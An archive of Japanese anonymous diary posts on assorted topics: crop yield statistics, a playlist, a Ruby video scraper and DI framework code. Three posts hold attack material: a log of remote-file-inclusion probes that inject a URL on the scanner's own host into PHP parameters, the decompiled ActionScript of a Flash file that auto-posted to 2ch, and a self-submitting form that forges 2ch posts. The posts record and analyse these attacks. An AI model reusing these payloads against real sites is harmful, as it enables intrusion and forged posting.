米（t/ha）@2008
 1.Egypt		9.7309
 2.Australia		9.5000
 3.El Salvador		7.9373
 4.Uruguay		7.9025
 5.USA			7.6716
 6.Turkey		7.5716
 7.Korea		7.3942
 8.Peru			7.3567
 9.Morocco		6.9562
10.Spain		6.9209
11.Argentina		6.8277
12.Greece		6.7354
13.China		6.5558
14.Japan		6.4875

十分健闘していると思うが、それでも欧米より高いと思うのは間違い。アメリカよりも低いです。

小麦（t/ha）@2008
 1.Ireland		9.0629
 2.Netherlands		8.7297
 3.Belgium		8.3595
 4.United Kingdom	8.2813
 5.New Zealand		8.1120
 6.Germany		8.0873
 7.Denmark		7.8638
 8.France		7.1009
 9.Luxembourg		6.6616
10.Egypt		6.5009
：			
：			
31.Japan		4.1037
：			
：			
49.USA			3.0177

Europe全体 		4.0270

小麦に関しては、1haあたりの収量で、アメリカの１２倍、EUの３倍に上る。

↑に関しては何を見たのか分かりませんが、そんなに差があるわけありません。EUには小麦食って生活している農業大国が沢山あります。世界市場という戦場で農業をもってして戦っている国々の収量が、兼業農家の収量に劣っているわけも無く。

普通に考えてみてください。アメリカの麦畑と日本の麦畑。同じ一区画に12倍も実っていたら、アメリカがしょっぼーいか、日本の麦が重みで折れるかどっちかです。ありえません。

ただ、はてブの方々が言うことにも賛成しませんが。日本の農業は自然環境特化型ではなく、保護政策の庇護による社会環境特化型。しかも大規模農家が極端に少なく、兼業農家ばかりで高齢化も進んでいる日本で、農業が衰退していくのは確実。となると日本の農機具メーカーは海外に出るか、農機具メーカーをやめるか。携帯のガラパゴスとは違い、先は暗いガラパゴスです。

Permalink | 記事への反応(0) | 01:26

2010-03-19

■

☆ジョジョの奇妙な冒険名言集☆

ttp://www.gdh .fromc.jp/07.jojo/01.jojomeigenb.html

失敗というのは…………　いいかよく聞けッ！　真の『失敗』とはッ！　開拓の心を忘れ！　困難に挑戦する事に無縁のところにいる者たちの事をいうのだッ！　このレースに失敗なんか存在しないッ！　存在するのは冒険者だけだッ！

Permalink | 記事への反応(0) | 20:50

2010-03-05

■obk - 2010fav01 http://www.zshare.net/audio/73295410617593de/

01.Ohnuki Taeko - Sargasso Sea

02.Jefrey Leighton Brown - Prayer fo Earth

03.Bismillah Khan - Desi Todi

04.Yotomi Afolabi - Baba Fona Han Mi

05.Mick Karn - Tribal Dawn

06.Alpha Bate - Astral Abuse.

07.Jose Mario Branco - Cuantos e Que Nos Somos

08.Meredith Monk - Scared Song

09.地下抵抗の歌＜金冠のイエス＞より - ハングル語のため解読不能

10.Carlos D.Alessio - India Song(Orchestre)

11.Brion Gysin - I am

12.13th Floor Elevators - Down By The River

13.Larry Carlton - Wevin' and Smilin

14.Edu Lobo - Uma Vez Um Caso

15.Stomu Yamash'ta's East Wind - Wind Words

16.O Sanmba E A Corda - Cartimba Criolo

17.Gilberto Sextet - Mozambique

18.The Stranglers - Golden Brown

19.Blaine L. Reininger / Mikel Rouse - Windy Outside

20.Mindless 021 - Pino Grigio (Lovelock edit) play at 33rpm.

21.Marcos Resende / Nivaldo Ornelas - Som E Fantasia

OUTRO.Francis Bebey - Heavy Ghetto

Permalink | 記事への反応(0) | 01:18

2010-01-13

■

ttp://dvd.nicovideo.jp

ttp://commutents.fresheye.com/top.html

この二つ似ているな。

Permalink | 記事への反応(0) | 06:14

2009-12-07

■株式会社 プロアームからのスキャン活動（Morfeus Fucking Scanner）

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php ?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php ?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php ?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php ?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php ?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php ?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php ?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php ?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

Permalink | 記事への反応(0) | 15:26

2009-07-25

■女性差別(笑)

http://www.asahi.com/international/up date/0724/TKY200907240216.html

まあ、女性差別はなくさにゃならんよーという所に同意はするけどさ、こういうニュースがあがってくると「だから日本はダメなんだ！」と喜色満面にブコメしてる連中のキモい事キモい事(笑)。ほんと「国家」とか「政府」とか巨大な存在を批判したつもりになってストレス発散するの好きだよなあいつら。

この「女性差別撤廃委員会」の委員の一覧はこれな。

http://www.un.org/womenwatch/daw/cedaw/members.htm

Ms.Ferdous Ara Begum	バングラデシュ
Ms.Magalys Arocha Dominguez	キューバ
Ms.Meriem Belmihoub-Zerdani	アルジェリア
Ms.Saisuree Chutikul	タイ
Ms.Dorcas Coker-Appiah	ガーナ
Ms.Mary Shanthi Dairiam(Rapporteur)	マレーシア
Mr.Cornelis Flinterman	オランダ
Ms.Naela Mohamed Gabr (Vice-Chairperson)	エジプト
Ms .Françoise Gaspard (Vice-Chairperson)	フランス
Ms.Ruth Halperin-Kaddari	イスラエル
Ms.Tiziana Maiolo	イタリア
Ms.Violeta Neubauer	スロベニア
Ms.Pramila Patten	モーリシャス
Ms.Silvia Pimentel	ブラジル
Ms.Fumiko Saiga	日本
Ms.Hanna Beate Schöpp-Schilling	ドイツ
Ms.Heisoo Shin	韓国
Ms.Glenda P. Simms (Vice-Chairperson)	ジャマイカ
Ms.Dubravka Šimonović (Chairperson)	クロアチア
Ms.Anamah Tan	シンガポール
Ms.Maria Regina Tavares da Silva	ポルトガル
Ms.Zou Xiaoqiao	中国

こういう組織でも国ごとの政治力とかがもろに影響出るわけ。

たとえばこの委員会、中国に対して上記記事のように何か苦言を呈した事は殆どございません(笑)。状況を報告してくるNGOとか団体が全部共産党の子飼いってのもあるけどな。フランスがそれを突っ込んだ事あるけどシカトされてるし。

他の国も似たような事言われたら「ﾊｧ何言ってんの？俺んとこはちゃんとやってますが何か？」と突っぱねてるケースが大半、というか通例になってる。そういう組織なわけ。当たり前だけど、日本も同じようにスルーするだろうね。

Permalink | 記事への反応(1) | 03:12

2008-10-18

■real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

http://real2.s-angels.com/teigaku/ から動画を取ってくるよ
- ファイルにIDだけ書いとけば取れちゃうよ
- ちょっと手を入れれば全部のファイルを取ってくるのもできると思うよ
- ここのサイトは動画のURLに動画一覧ページを見るたびに代わるUUIDみたいなのを付けてるから、普通のダウンローダが使いづらいんだけど、それに対応してるよ
Emacs を使って動画を見れるよ
- サムネイル付きだよ
- 評価もできちゃうよ

使い方は

動画を取ってきたいよ
- config.yaml にユーザとかを設定するよ
- ids.txt に取ってきたいIDを書くよ
- sangels.bat を実行するよ
Emacsで動画を見たいよ
- sangels.el を load するよ
- M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

gem install -r log4r
gem install -r -v 0.6 hpricot
gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチ ファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル

user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"

get_movies.rb

require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code

get_images.rb

require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code

create_m3u.rb

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}

sangels.rb

require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end

util.rb

require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

Permalink | 記事への反応(2) | 07:28

2008-08-04

■予告.inに仕込まれてた自動 2ch書き込みFlashのActionScriptを抽出してみた

予告.inに仕込まれてたFlash。

yutori.2ch .net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch .net

ここ↑にあるやつ。

解説よろしく。

movie 'post2ch.swf' {
// flash 8, total frames: 17, frame rate: 12 fps, 320x320 px

  frame 1 {
    System.useCodepage = true;
    nret = function (k, v) {
      return (flash.external.ExternalInterface.call('d', k, v)).toString();
    };

    host2ch = 'tmp6.2ch.net';
    i = _url.indexOf('://');
    if (-1 < i) {
      host2ch = _url.substring(i + 3);
    }
    i = host2ch.indexOf('.2ch.net');
    if (-1 < i) {
      host2ch = host2ch.substring(0, i + 8);
    }
    path2ch = '/test/bbs.cgi?guid=ON';
    l = new LoadVars();
    i = _url.indexOf('#');
    u = '';
    if (0 < i) {
      u = _url.substring(i + 1);
    }
    LoadVars.prototype.sendNoEnc = function (url, target, method) {
      LoadVars.prototype._toString = LoadVars.prototype.toString;
      LoadVars.prototype.toString = function () {
        return unescape(this._toString());
      };

      ASSetPropFlags(LoadVars.prototype, '_toString', 3);
      this.send(url, target, method);
      LoadVars.prototype.toString = LoadVars.prototype._toString;
    };

    ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3);
  }

  frame 2 {
    _root.nowtime = null;
    _root.secondpost = null;
    _root.FROM = null;
    _root.mail = null;
    _root.MESSAGE = null;
    _root.subject = null;
    _root.ng = null;
  }

  frame 3 {
    (flash.external.ExternalInterface.call('c')).toString();
  }

  frame 9 {
    if (_root.nowtime == null) {
      if (!_root.ng) {
        gotoAndPlay(3);
      } else {
        this.stop();
      }
    }
  }

  frame 10 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    nowtime = _root.nowtime;
    l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    l.hana = 'mogera';
    l.time = '1180000000';
    if (l.time < nowtime) {
      l.time = nowtime;
    }
    l.key = '';
    l.bbs = 'kitchen';
    l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5';
    l.subject = '%82%D3%82%F1%82%C7%82%B5';
    l.mail = '';
    l.FROM = '%82%D3%82%F1%82%C7%82%B5';
    l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE';
    buf = u.split('&amp;');
    i = 0;
    goto 623;
    for (;;) {
      ++i;
      label 623:
      if (i >= buf.length) break;
      a = buf[i].split('=');
      if (a[0] == 'FROM') {
        nret('FROM', a[1]);
      }
      if (a[0] == 'mail') {
        nret('mail', a[1]);
      }
      if (a[0] == 'MESSAGE') {
        nret('MESSAGE', a[1]);
      }
      if (a[0] == 'subject') {
        nret('subject', a[1]);
      }
      if (a[0] == 'key') {
        l.key = a[1];
      }
      if (a[0] == 'time') {
        l.time = a[1];
      }
      if (a[0] == 'bbs') {
        l.bbs = a[1];
      }
      if (a[0] == 'host') {
        host2ch = a[1];
      }
      if (a[0] == 'path') {
        path2ch = a[1];
      }
    }
  }

  frame 16 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    if (_root.FROM != null) {
      l.FROM = _root.FROM;
    }
    if (_root.mail != null) {
      l.mail = _root.mail;
    }
    if (_root.MESSAGE != null) {
      l.MESSAGE = _root.MESSAGE;
    }
    if (_root.subject != null) {
      l.subject = _root.subject;
    }
    if (l.key != '') {
      l.subject = '';
    }
    if (l.subject != '') {
      l.key = '';
    }
    l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST');
  }

  frame 17 {
    if (_root.secondpost != null) {
      _root.secondpost = null;
      gotoAndPlay(4);
    }
    _root.nowtime = null;
    gotoAndPlay(2);
  }
}
||>

Permalink | 記事への反応(0) | 02:28

2008-08-03

■

予告inの犯罪予告スクリプトのメモ

悪いのは予告inと2ch
- 予告in
  - XSS脆弱性によるiframeの埋め込みを許した
- 2ch
  - リファラー制限が甘かったため先頭がマッチ(例えばyutori.2ch .net.cracks.am/post.pyとか)していれば以下のようなソースでポスト出来てしまう。

<body onload="document.frm.submit()">
<form name="frm" method="post" action="http://yutori.2ch.net/test/bbs.cgi?guid=ON">
<input value="書き込む" name="submit" type="submit">
<input name="FROM" size="19">
<input name="mail" size="19"><br>
<textarea rows="5" cols="70" wrap="off" name="MESSAGE">てｓｔ</textarea>
<input name="bbs" value="news4vip" type="hidden">
<input name="key" value="key" type="hidden">
<input name="time" value="time" type="hidden">
</form>

Permalink | 記事への反応(0) | 22:13

2008-05-13

■

Guice と Seasar2 を連携させてみたよ

［参考文献］

google-guice - Google Code

S2Container

第 6 回 DI フレームワーク Guice で，さらば XML！：ITpro

S2 は、.dicon ファイルで定義をだいぶ簡略化できる。パフォーマンスはどうなんだろう。誰かテストしてくれいｗ

app.dicon

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN" "http://www.seasar.org/dtd/components24.dtd">

</components>

hello.dicon

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN"

"http://www.seasar.org/dtd/components24.dtd">

</components>

HelloService.java、HelloServiceImpl.java は、上記 ITPro と内容が同じなので省略。

Module.java

package org.seasar.guice;

import org.seasar .framework.container.S2Container;

import org.seasar .framework.container.SingletonS2Container;

import org.seasar .framework.container.factory.S2ContainerFactory;

import com.google.inject.AbstractModule;

import com.google.inject.name.Names;

public class Module extends AbstractModule {

S2Container container = null;

public Module(S2Container container){

this.container = container;

}

@Override

protected void configure() {

bind(S2ContainerFactory.class).annotatedWith(Names.named(container.getPath()));

bind(Client.class).toInstance(SingletonS2Container.getComponent(Client.class));

}

Client.java

package org.seasar.guice;

public class Client {

private HelloService helloService = null;

public void setHelloService(HelloService helloService) {

this.helloService = helloService;

}

public void execute() {

helloService.sayHello();

}

Main.java

package org.seasar.guice;

import org.seasar .framework.container.S2Container;

import org.seasar .framework.container.factory.SingletonS2ContainerFactory;

import com.google.inject.Guice;

import com.google.inject.Injector;

public class Main {

private static final String PATH = ".\\app.dicon";

public static void main(String[] args) {

SingletonS2ContainerFactory.setConfigPath(PATH);

SingletonS2ContainerFactory.init();

S2Container container = SingletonS2ContainerFactory.getContainer();

Module module = new Module(container);

Injector injector = Guice.createInjector(module);

Client client = injector.getInstance(Client.class);

client.execute();

}

実行結果

java -cp ?? org.seasar.guice.Main

2008/05/13 21:19:22 org.seasar .framework.log.Logger info

情報: Running on [ENV]product, [DEPLOY MODE]Normal Mode

Hello, world!

実行環境：JDK 7 (build 1.7.0-ea-b24)

Permalink | 記事への反応(1) | 23:08

2008-03-08

■http://anond.hatelabo.jp/20080308213953

これは？「アニメーション機能」がそれっぽく見えるけど。

Frieve Editor

ttp://www .frieve.com/feditor/index.html

Permalink | 記事への反応(1) | 21:56

2007-09-25

■[Ruby]PHP VS Rails (Ruby on Rails)

PHP

404 Blog Not Found:そろそろPHPに関して一言いっとくか
PHPを使っても、知識は増えても知恵が増える気がちっともしないのである。

スラッシュドットジャパン | Ruby on Railsは万能薬ではない

はてなブックマーク - スラッシュドットジャパン | Ruby on Railsは万能薬ではない

COBOL技術者の憂鬱 - RailsからPHPへ

PHPプログラムを始めてみたい、難しいと思っている人の為に*ホームページを作る人のネタ帳

アフィリエイトは儲かんないってば:PHP初心者によるPHP入門 - livedoor Blog（ブログ）
1日平均13億3800万ページビューを誇るYahoo!JAPAN。
この爆裂なアクセスを誇るYahoo!JAPANを支えているテクノロジーのひとつがPHPということでした。

PHPの車輪はバカに出来ない。使うに留めず使いこなしてからが面白い。*ホームページを作る人のネタ帳
service_YouTubeというPEARモジュールを使うと、YouTubeAPIを活用して驚くほど簡単に動画サイトが作れます。
指定したタグがついているすべての画像の一覧表示をいうのをservice_YouTubeを使うと以下の様な文で構築できます。

CakePHPで高速Webアプリ開発：第1回　CakePHPを使いたくなる5つの特徴｜gihyo.jp … 技術評論社

Ruby

Shane's Brain Extension: A Ruby Interface to the YouTube API

YouTubeのAPIを使ってみる。 - t-imaizumiのMacとかのはなし

Flickrの画像をはてなに貼り付けるためのHTMLを取得するスクリプト。 - t-imaizumiのMacとかのはなし

InstantRails で簡単 Ruby on Rails 体験

10分で作るRailsアプリ for Windows - masuidrive

ITmedia エンタープライズ：第1回　Instant Railsで始めるWindows環境のRails (1/2)

Matzにっき(2007-09-15)
Scaling Twitter: Making Twitter 10000 Percent Faster | High Scalability
平均毎秒600アクセスというのも興味深い情報。
これは楽天の個別サービスのアクセスよりも多い。

【特選フリーソフト】生産性の高いWeb開発環境 Ruby on Rails：ITpro
